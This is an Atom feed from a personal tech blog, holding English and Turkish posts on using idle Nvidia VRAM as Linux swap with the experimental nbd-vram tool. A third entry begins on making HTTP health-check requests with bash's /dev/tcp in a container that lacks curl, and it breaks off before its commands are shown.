<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Baba Tech Blog</title><link href="https://yuceltoluyag.github.io/en/" rel="alternate"/><link href="https://yuceltoluyag.github.io/feeds/all.atom.xml" rel="self"/><id>https://yuceltoluyag.github.io/en/</id><updated>2026-06-26T03:32:00+03:00</updated><entry><title>Putting Idle VRAM to Work: Using Nvidia VRAM as Swap in Linux (nbd-vram)</title><link href="https://yuceltoluyag.github.io/en/nvidia-vram-swap-alani-nbd-vram/" rel="alternate"/><published>2026-06-26T03:32:00+03:00</published><updated>2026-06-26T03:32:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/en/nvidia-vram-swap-alani-nbd-vram/</id><summary type="html">&lt;p&gt;We explore how to configure the idle VRAM of your Nvidia graphics card as high-priority swap space on Linux using NBD (Network Block Device) and CUDA.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The other day, around midnight at my desk, I was analyzing the resource usage of our old hybrid graphics laptop (AMD CPU + Nvidia GPU). Since the AMD card drives the display, that sweet Nvidia GPU just sat there completely idle, VRAM totally empty. Since the RAM is soldered to the motherboard, I have no way of upgrading it. While thinking, "Man, it would be awesome if we could use this idle GPU memory as a swap space," a fresh project fell right onto my screen from the dark corners of GitHub: &lt;strong&gt;nbd-vram&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Critical Warning: All Responsibility is Yours! ⚠️&lt;/p&gt;
&lt;p&gt;Let me warn you in bold letters right from the start, my friend: this project is very new and completely experimental. Before installing and trying it on your system, make sure to back up your critical data. The responsibility is entirely yours! I just discovered this crazy repo and poked around to see how it works.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Using idle graphics card memory as swap space is like turning that fancy, unused guest room in your house into a pantry to relieve the clutter in the main rooms. If you are ready for such an experimental adventure, my friend, let's take a close look at the clever engineering details behind this system and how to set it up.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="how-does-nbd-vram-work"&gt;🛠️ How Does NBD-VRAM Work?&lt;a class="headerlink" href="#how-does-nbd-vram-work" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To open Nvidia graphics card memory directly for CPU usage, normally the Nvidia P2P API (mapping physical memory pages via ioremap) is tried. However, Nvidia restricts this API at the driver level for consumer GeForce cards. The solution only works on professional Quadro or datacenter cards.&lt;/p&gt;
&lt;p&gt;Here is how &lt;code&gt;nbd-vram&lt;/code&gt; bypasses this barrier in a very clever way:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A small service (daemon) running in the background allocates a space on VRAM using the standard CUDA driver API (which works on every card without CUDA restrictions).&lt;/li&gt;
&lt;li&gt;This service serves the allocated VRAM space as a virtual disk over a local Unix socket using the NBD (Network Block Device)&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; protocol.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;nbd&lt;/code&gt; module, already present in the Linux kernel, connects to this socket and presents it to the OS as a regular disk named &lt;code&gt;/dev/nbd0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;All that is left is to activate this disk as swap space using the standard &lt;code&gt;mkswap&lt;/code&gt; and &lt;code&gt;swapon&lt;/code&gt; commands.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Throughout this process, no special kernel modules need to be written. Even if the kernel gets updated, the code does not need to be recompiled.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="step-by-step-installation"&gt;🏗️ Step-by-Step Installation&lt;a class="headerlink" href="#step-by-step-installation" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let me remind you once more; this process is experimental. If you want to try it, after installing the necessary packages (Nvidia driver, &lt;code&gt;nbd-client&lt;/code&gt;, &lt;code&gt;gcc&lt;/code&gt;, and &lt;code&gt;make&lt;/code&gt;), you can run the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/c0dejedi/nbd-vram
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nbd-vram
$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;./install.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The installation script (&lt;code&gt;install.sh&lt;/code&gt;) will automatically configure the service files and connection threads based on your CPU core count. To start the service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;vram-swap-nbd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To verify the installation is successful, you can query active swap spaces:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;swapon&lt;span class="w"&gt; &lt;/span&gt;--show
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you see a swap space named &lt;code&gt;/dev/nbd0&lt;/code&gt; with your designated size in the output, you're good to go.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="security-and-deadlock-protection"&gt;🔒 Security and Deadlock Protection&lt;a class="headerlink" href="#security-and-deadlock-protection" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When running a system entirely on swap space, if the RAM drops to zero, the OS trying to page the background NBD service to disk creates a complete deadlock loop.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nbd-vram&lt;/code&gt; uses two important Linux security and memory mechanisms to prevent this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;mlockall:&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; The service locks its own memory in physical RAM via the &lt;code&gt;mlockall&lt;/code&gt; call. This prevents the kernel from ever trying to page the service's own code to the swap space on disk.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PR_SET_IO_FLUSHER:&lt;/strong&gt; The service registers itself to the kernel as an "IO Flusher." This prevents system lockups even when RAM is completely exhausted.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OOMScoreAdjust=-1000:&lt;/strong&gt; The priority of the service is set to the highest level to prevent the kernel from terminating the service when running out of RAM (OOM Killer).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="power-management-and-what-happens-when-gaming"&gt;⚡ Power Management and What Happens When Gaming?&lt;a class="headerlink" href="#power-management-and-what-happens-when-gaming" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;During installation, the service asks whether to automatically disable the swap space when disconnected from AC power (battery mode). Activating this makes sense for battery savings.&lt;/p&gt;
&lt;p&gt;When you want to use your graphics card for gaming or running AI models, you have two options: either reduce &lt;code&gt;VRAM_SETUP_SIZE_MB&lt;/code&gt; in &lt;code&gt;/etc/systemd/system/vram-swap-nbd.service&lt;/code&gt; to leave headroom for the GPU, or stop the service manually before starting heavy workloads:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;stop&lt;span class="w"&gt; &lt;/span&gt;vram-swap-nbd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When the service is stopped, the data inside the VRAM is safely moved back to regular RAM or disk.&lt;/p&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Best Graphics Cards for Local LLMs (2026)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/docker-node-js-root-olmadan-calistirmak/"&gt;Running Node.js Containers Without Root in Docker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Network Block Device; a Linux kernel protocol that exposes a storage space as a block device over network or local Unix sockets.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;A Linux system call that locks physical memory pages in RAM, preventing the kernel from paging those pages to the swap space.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Donanım"/><category term="Nvidia"/><category term="VRAM"/><category term="Swap"/><category term="Linux"/><category term="Donanım"/><category term="Cuda"/><category term="NBD"/></entry><entry><title>Boşta Yatan Ekran Kartını Değerlendirmek: Nvidia VRAM'i Linux'ta Swap Yapmak (nbd-vram)</title><link href="https://yuceltoluyag.github.io/nvidia-vram-swap-alani-nbd-vram/" rel="alternate"/><published>2026-06-26T03:32:00+03:00</published><updated>2026-06-26T03:32:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/nvidia-vram-swap-alani-nbd-vram/</id><summary type="html">&lt;p&gt;Nvidia ekran kartınızın boşta yatan VRAM belleğini, NBD (Network Block Device) ve CUDA yardımıyla Linux üzerinde nasıl yüksek öncelikli takas (swap) alanı olarak yapılandırabileceğinizi inceliyoruz.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en g&amp;uuml;n gece yar&amp;inodot;s&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;ma masamda, bizim emektar hibrit grafik kartl&amp;inodot; laptopun (AMD i&amp;scedil;lemci + Nvidia GPU) kaynak t&amp;uuml;ketimini inceliyordum. Ekran&amp;inodot; AMD kart&amp;inodot; s&amp;uuml;rd&amp;uuml;&amp;gbreve;&amp;uuml; i&amp;ccedil;in, o can&amp;inodot;m Nvidia GPU orada &amp;ouml;ylece mel&amp;uuml;l mel&amp;uuml;l yat&amp;inodot;yor, VRAM'i bombo&amp;scedil; duruyordu. Laptopta RAM anakarta lehimli oldu&amp;gbreve;u i&amp;ccedil;in donan&amp;inodot;m y&amp;uuml;kseltme &amp;scedil;ans&amp;inodot;m da yok. Kendi kendime "Ulan &amp;scedil;u bo&amp;scedil;ta duran ekran kart&amp;inodot; belle&amp;gbreve;ini swap (takas) alan&amp;inodot; olarak kullanabilsek ne g&amp;uuml;zel olurdu" diye d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;rken, GitHub'&amp;inodot;n o karanl&amp;inodot;k dehlizlerinde &amp;ouml;n&amp;uuml;me duman&amp;inodot; &amp;uuml;st&amp;uuml;nde taptaze bir proje d&amp;uuml;&amp;scedil;t&amp;uuml;: &lt;strong&gt;nbd-vram&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Kritik Uyar&amp;inodot;: Sorumluluk Tamamen Sende! ⚠️&lt;/p&gt;
&lt;p&gt;Hemen en ba&amp;scedil;tan kal&amp;inodot;n harflerle uyaray&amp;inodot;m dostum: Bu proje hen&amp;uuml;z &amp;ccedil;ok yeni ve tamamen deneysel. Sisteminize kurup denemeden &amp;ouml;nce mutlaka kritik verilerinizi yedekleyin. Sorumluluk tamamen sende! Ben sadece bu &amp;ccedil;&amp;inodot;lg&amp;inodot;n repoyu ke&amp;scedil;fettim ve nas&amp;inodot;l &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; kurcalad&amp;inodot;m.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Bo&amp;scedil;ta yatan ekran kart&amp;inodot; belle&amp;gbreve;ini takas alan&amp;inodot; olarak kullanmak, evde hi&amp;ccedil; kullan&amp;inodot;lmayan o s&amp;uuml;sl&amp;uuml; misafir odas&amp;inodot;n&amp;inodot; kiler yap&amp;inodot;p ana odalardaki y&amp;uuml;k&amp;uuml; hafifletmeye benzer. E&amp;gbreve;er b&amp;ouml;yle deneysel bir maceraya haz&amp;inodot;rsan dostum, gelin bu sistemin arkas&amp;inodot;ndaki o kurnaz m&amp;uuml;hendislik detaylar&amp;inodot;na ve kurulumuna yak&amp;inodot;ndan bakal&amp;inodot;m.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="nbd-vram-nasl-calsr"&gt;🛠️ NBD-VRAM Nas&amp;inodot;l &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r?&lt;a class="headerlink" href="#nbd-vram-nasl-calsr" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nvidia ekran kart&amp;inodot;n&amp;inodot;n belle&amp;gbreve;ini do&amp;gbreve;rudan CPU'nun kullan&amp;inodot;m&amp;inodot;na a&amp;ccedil;mak i&amp;ccedil;in normalde Nvidia P2P API'si (fiziksel bellek sayfalar&amp;inodot;n&amp;inodot; ioremap arac&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;yla haritalama) denenir. Ancak Nvidia, son t&amp;uuml;keticiye sat&amp;inodot;lan GeForce ekran kartlar&amp;inodot;nda bu API'yi s&amp;uuml;r&amp;uuml;c&amp;uuml; d&amp;uuml;zeyinde k&amp;inodot;s&amp;inodot;tl&amp;inodot;yor. &amp;Ccedil;&amp;ouml;z&amp;uuml;m sadece profesyonel Quadro veya veri merkezi kartlar&amp;inodot;nda &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor. &lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te &lt;code&gt;nbd-vram&lt;/code&gt; bu engeli a&amp;scedil;mak i&amp;ccedil;in &amp;ccedil;ok ak&amp;inodot;ll&amp;inodot;ca bir y&amp;ouml;ntem kullan&amp;inodot;yor:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Arka planda &amp;ccedil;al&amp;inodot;&amp;scedil;an k&amp;uuml;&amp;ccedil;&amp;uuml;k bir servis (daemon), standart CUDA s&amp;uuml;r&amp;uuml;c&amp;uuml; API'sini kullanarak VRAM &amp;uuml;zerinde bir alan ay&amp;inodot;r&amp;inodot;r (CUDA k&amp;inodot;s&amp;inodot;tlamas&amp;inodot;z her kartta &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r).&lt;/li&gt;
&lt;li&gt;Bu servis, ay&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot; VRAM alan&amp;inodot;n&amp;inodot; NBD (Network Block Device)&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; protokol&amp;uuml;n&amp;uuml; kullanarak yerel bir Unix soketi &amp;uuml;zerinden sanal bir disk olarak sunar.&lt;/li&gt;
&lt;li&gt;Linux &amp;ccedil;ekirde&amp;gbreve;inin i&amp;ccedil;inde haz&amp;inodot;r bulunan &lt;code&gt;nbd&lt;/code&gt; mod&amp;uuml;l&amp;uuml; bu sokete ba&amp;gbreve;lan&amp;inodot;r ve i&amp;scedil;letim sistemine &lt;code&gt;/dev/nbd0&lt;/code&gt; ad&amp;inodot;nda normal bir disk gibi tan&amp;inodot;t&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;Geriye sadece bu diski standart &lt;code&gt;mkswap&lt;/code&gt; ve &lt;code&gt;swapon&lt;/code&gt; komutlar&amp;inodot;yla takas alan&amp;inodot; olarak aktif etmek kal&amp;inodot;r.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;T&amp;uuml;m bu s&amp;uuml;re&amp;ccedil; boyunca hi&amp;ccedil;bir &amp;ouml;zel &amp;ccedil;ekirdek mod&amp;uuml;l&amp;uuml; yazmaya gerek kalmaz. &amp;Ccedil;ekirdek g&amp;uuml;ncellense bile kodun yeniden derlenmesi gerekmez.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="adm-adm-kurulum"&gt;🏗️ Ad&amp;inodot;m Ad&amp;inodot;m Kurulum&lt;a class="headerlink" href="#adm-adm-kurulum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tekrar hat&amp;inodot;rlat&amp;inodot;yorum; bu i&amp;scedil;lem deneyseldir. Denemek istiyorsan&amp;inodot;z gerekli paketleri (Nvidia s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;, &lt;code&gt;nbd-client&lt;/code&gt;, &lt;code&gt;gcc&lt;/code&gt; ve &lt;code&gt;make&lt;/code&gt;) kurduktan sonra &amp;scedil;u komutlar&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/c0dejedi/nbd-vram
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nbd-vram
$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;./install.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Kurulum beti&amp;gbreve;i (&lt;code&gt;install.sh&lt;/code&gt;), i&amp;scedil;lemci &amp;ccedil;ekirdek say&amp;inodot;n&amp;inodot;za g&amp;ouml;re servis dosyalar&amp;inodot;n&amp;inodot; ve ba&amp;gbreve;lant&amp;inodot; i&amp;scedil; par&amp;ccedil;ac&amp;inodot;klar&amp;inodot;n&amp;inodot; otomatik yap&amp;inodot;land&amp;inodot;racakt&amp;inodot;r. Servisi ba&amp;scedil;latmak i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;vram-swap-nbd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Kurulumun ba&amp;scedil;ar&amp;inodot;l&amp;inodot; oldu&amp;gbreve;unu do&amp;gbreve;rulamak i&amp;ccedil;in aktif swap alanlar&amp;inodot;n&amp;inodot; sorgulayabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;swapon&lt;span class="w"&gt; &lt;/span&gt;--show
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &amp;ccedil;&amp;inodot;kt&amp;inodot;da &lt;code&gt;/dev/nbd0&lt;/code&gt; ad&amp;inodot;nda, belirledi&amp;gbreve;iniz boyutta bir takas alan&amp;inodot; g&amp;ouml;r&amp;uuml;yorsan&amp;inodot;z i&amp;scedil;lem tamamd&amp;inodot;r.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="guvenlik-ve-kilitlenme-deadlock-korumas"&gt;🔒 G&amp;uuml;venlik ve Kilitlenme (Deadlock) Korumas&amp;inodot;&lt;a class="headerlink" href="#guvenlik-ve-kilitlenme-deadlock-korumas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bir sistemi tamamen takas alan&amp;inodot; &amp;uuml;zerinden ko&amp;scedil;tururken, RAM s&amp;inodot;f&amp;inodot;ra indi&amp;gbreve;inde arka plandaki NBD servisinin de i&amp;scedil;letim sistemi taraf&amp;inodot;ndan diske yaz&amp;inodot;lmaya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;lmas&amp;inodot; (paging) tam bir kilitlenme (deadlock) k&amp;inodot;s&amp;inodot;rd&amp;ouml;ng&amp;uuml;s&amp;uuml; olu&amp;scedil;turur. &lt;/p&gt;
&lt;p&gt;&lt;code&gt;nbd-vram&lt;/code&gt; bu durumu &amp;ouml;nlemek i&amp;ccedil;in iki &amp;ouml;nemli Linux g&amp;uuml;venlik ve bellek mekanizmas&amp;inodot;n&amp;inodot; kullan&amp;inodot;yor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;mlockall:&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; Servis kendi kulland&amp;inodot;&amp;gbreve;&amp;inodot; belle&amp;gbreve;i &lt;code&gt;mlockall&lt;/code&gt; &amp;ccedil;a&amp;gbreve;r&amp;inodot;s&amp;inodot;yla fiziksel RAM'e kilitler. B&amp;ouml;ylece &amp;ccedil;ekirdek, servisin kendi kodunu asla diskteki takas alan&amp;inodot;na yazmaya &amp;ccedil;al&amp;inodot;&amp;scedil;amaz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PR_SET_IO_FLUSHER:&lt;/strong&gt; Servis, kendisini &amp;ccedil;ekirde&amp;gbreve;e bir "G/&amp;Ccedil; temizleyici" (IO Flusher) olarak kaydeder. Bu sayede RAM tamamen bitti&amp;gbreve;inde bile sistemin kilitlenmesini engeller.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OOMScoreAdjust=-1000:&lt;/strong&gt; &amp;Ccedil;ekirde&amp;gbreve;in RAM bitti&amp;gbreve;inde servisi sonland&amp;inodot;rmas&amp;inodot;n&amp;inodot; (OOM Killer) &amp;ouml;nlemek i&amp;ccedil;in servisin &amp;ouml;nceli&amp;gbreve;i en &amp;uuml;st d&amp;uuml;zeye &amp;ccedil;ekilir.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="guc-yonetimi-ve-oyun-oynarken-ne-olacak"&gt;⚡ G&amp;uuml;&amp;ccedil; Y&amp;ouml;netimi ve Oyun Oynarken Ne Olacak?&lt;a class="headerlink" href="#guc-yonetimi-ve-oyun-oynarken-ne-olacak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Servis kurulurken size AC g&amp;uuml;c&amp;uuml;nden &amp;ccedil;&amp;inodot;k&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda (pil modunda) swap alan&amp;inodot;n&amp;inodot; otomatik devreden &amp;ccedil;&amp;inodot;kar&amp;inodot;p &amp;ccedil;&amp;inodot;karmayaca&amp;gbreve;&amp;inodot;n&amp;inodot; sorar. Pil tasarrufu i&amp;ccedil;in bunu aktif etmek mant&amp;inodot;kl&amp;inodot;d&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Ekran kart&amp;inodot;n&amp;inodot; oyun oynamak veya yapay zeka modelleri ko&amp;scedil;turmak i&amp;ccedil;in kullanaca&amp;gbreve;&amp;inodot;n&amp;inodot;zda ise iki se&amp;ccedil;ene&amp;gbreve;iniz var: ya &lt;code&gt;/etc/systemd/system/vram-swap-nbd.service&lt;/code&gt; dosyas&amp;inodot;ndan &lt;code&gt;VRAM_SETUP_SIZE_MB&lt;/code&gt; de&amp;gbreve;erini d&amp;uuml;&amp;scedil;&amp;uuml;rerek ekran kart&amp;inodot;na pay b&amp;inodot;rakacaks&amp;inodot;n&amp;inodot;z, ya da a&amp;gbreve;&amp;inodot;r bir i&amp;scedil;e girmeden &amp;ouml;nce servisi manuel olarak durduracaks&amp;inodot;n&amp;inodot;z:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;stop&lt;span class="w"&gt; &lt;/span&gt;vram-swap-nbd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Servis durduruldu&amp;gbreve;unda, VRAM i&amp;ccedil;indeki veriler g&amp;uuml;venli bir &amp;scedil;ekilde normal RAM'e veya diske geri ta&amp;scedil;&amp;inodot;n&amp;inodot;r.&lt;/p&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Yerel LLM'ler &amp;Idot;&amp;ccedil;in En &amp;Idot;yi Ekran Kartlar&amp;inodot; (2026)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/docker-node-js-root-olmadan-calistirmak/"&gt;Docker'da Node.js Konteynerlerini Root Olmadan &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Network Block Device; bir depolama alan&amp;inodot;n&amp;inodot; a&amp;gbreve; &amp;uuml;zerinden veya yerel unix soketleriyle blok cihaz&amp;inodot; olarak sunan Linux &amp;ccedil;ekirdek protokol&amp;uuml;d&amp;uuml;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Fiziksel bellek sayfalar&amp;inodot;n&amp;inodot; RAM'e kilitleyerek, &amp;ccedil;ekirde&amp;gbreve;in o sayfalar&amp;inodot; takas alan&amp;inodot;na (swap) yazmas&amp;inodot;n&amp;inodot; engelleyen Linux sistem &amp;ccedil;a&amp;gbreve;r&amp;inodot;s&amp;inodot;d&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Donanım"/><category term="Nvidia"/><category term="VRAM"/><category term="Swap"/><category term="Linux"/><category term="Donanım"/><category term="Cuda"/><category term="NBD"/></entry><entry><title>Making HTTP Requests with Bash in Containers Without Curl (/dev/tcp)</title><link href="https://yuceltoluyag.github.io/en/curl-olmayan-konteynerde-bash-ile-http-istegi-dev-tcp/" rel="alternate"/><published>2026-06-26T03:10:00+03:00</published><updated>2026-06-26T03:10:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/en/curl-olmayan-konteynerde-bash-ile-http-istegi-dev-tcp/</id><summary type="html">&lt;p&gt;When curl or wget is missing in a Docker container, we can use Bash's built-in /dev/tcp redirection to send raw HTTP requests.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The other night, around 3 AM, I &lt;code&gt;exec&lt;/code&gt;'d into one of our production microservices to check its health. My immediate plan was to run that classic &lt;code&gt;curl http://localhost:8080/health&lt;/code&gt; command. But guess what? We had stripped down the image so much that there was no &lt;code&gt;curl&lt;/code&gt;, no &lt;code&gt;wget&lt;/code&gt;, and not a single technical tool to open a socket! I felt like a technician with tied hands in a bare server room. Right at that moment, I recalled a famous Bash trick I had read about years ago but never used in practice: the &lt;code&gt;/dev/tcp&lt;/code&gt; redirection. Thanks to this method, without needing any external tools, I fired HTTP requests right from the container using only Bash and tested the connection in seconds.&lt;/p&gt;
&lt;p&gt;Struggling inside a minimal container with no toolbox&amp;mdash;just a dry shell&amp;mdash;is like trying to fix an engine without even a screwdriver in your hand. That's why, my friend, we are going to talk in detail about how to stand up raw HTTP requests using only Bash's own capabilities, which will come to our rescue in these moments of despair.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="opening-a-tcp-socket-with-bash"&gt;🔌 Opening a TCP Socket with Bash&lt;a class="headerlink" href="#opening-a-tcp-socket-with-bash" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Normally, we'd use tools like &lt;code&gt;nc&lt;/code&gt; (netcat), &lt;code&gt;telnet&lt;/code&gt;, or &lt;code&gt;curl&lt;/code&gt; to talk to a server over TCP. However, Bash natively possesses the ability to open a TCP/UDP socket at the OS level.&lt;/p&gt;
&lt;p&gt;We can send an HTTP GET request to a target using only this three-line command sequence:&lt;/p&gt;
